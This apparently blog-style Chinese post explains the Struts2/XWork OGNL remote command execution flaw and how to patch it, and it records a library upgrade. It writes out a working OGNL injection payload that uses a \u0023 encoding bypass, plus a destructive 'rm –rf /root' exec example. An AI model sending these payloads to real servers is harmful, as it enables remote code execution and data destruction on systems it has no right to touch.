exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞。
漏洞名稱:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關介紹:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,處理 action時經過調用底層的getter/setter方法來處理http的參數,它將每一個http參數聲明爲一個ONGL(這裏是ONGL的介紹)語句。當咱們提交一個http參數:
Java代碼
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換爲:
Java代碼
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是經過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
爲了防範篡改服務器端對象,XWork的ParametersInterceptor不容許參數名中出現「#」字符,但若是使用了Java的 unicode字符串表示\u0023,***者就能夠繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意***
Java代碼
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義後是這樣:
Java代碼
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是Java代碼
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
相似的能夠執行Java代碼
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有權限就能夠刪除任何一個目錄。
目前的解決方法以下:java
官方的出了補丁的,能夠在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,能夠下載其中這個補丁修補,
而若是你的版本是低於2.1.8的,能夠去下載xwork-2.XX.JAR對應的源代碼(原本想反編譯JAR的,發現仍是找源代碼好),
而後修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中調整以下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}web
注:還有其餘編碼能夠繞過,僅僅控制了\u0023,是個悲劇。通過實際測試,發現#號的8進制編碼\43,也是在這裏使用的,而且\043也是能夠的。spring
因爲個人xwork版本是2.0.4網上找不到源碼了,而使用其餘的版本有些問題;情急之下對struts2進行了升級處理:apache
升級後
|
升級前
|
spring-core-2.5.6.jar
|
struts2-core-2.0.11.1.jar
|
struts2-spring-plugin-2.2.3.1.jar
|
struts2-spring-plugin-2.0.11.1.jar
|
xwork-core-2.2.3.1.jar
|
xwork-2.0.4.jar
|
commons-io-2.0.1.jar
|
commons-io-1.3.2.jar
|
commons-fileupload-1.2.2.jar
|
commons-fileupload.jar
|
commons-lang-2.5.jar
|
|
ognl-3.0.1.jar
|
ognl-2.6.11.jar
|
commons-logging-1.1.1.jar
|
commons-logging-1.0.4.jar
|
在升級的過程當中遇到個2.0到2.5的不一樣:數組
分頁使用的pagesize升級前爲了靈活在頁面中也能夠指定pagesize的值,形成頁面有兩個pagesize input參數服務器
2.0對一個驅動模型裏int型參數,若是頁面上有多個同名input參數只取前一個,而2.5中是拿兩個pagesize數組來填充模型裏的int型pagesize值,struts報input錯誤框架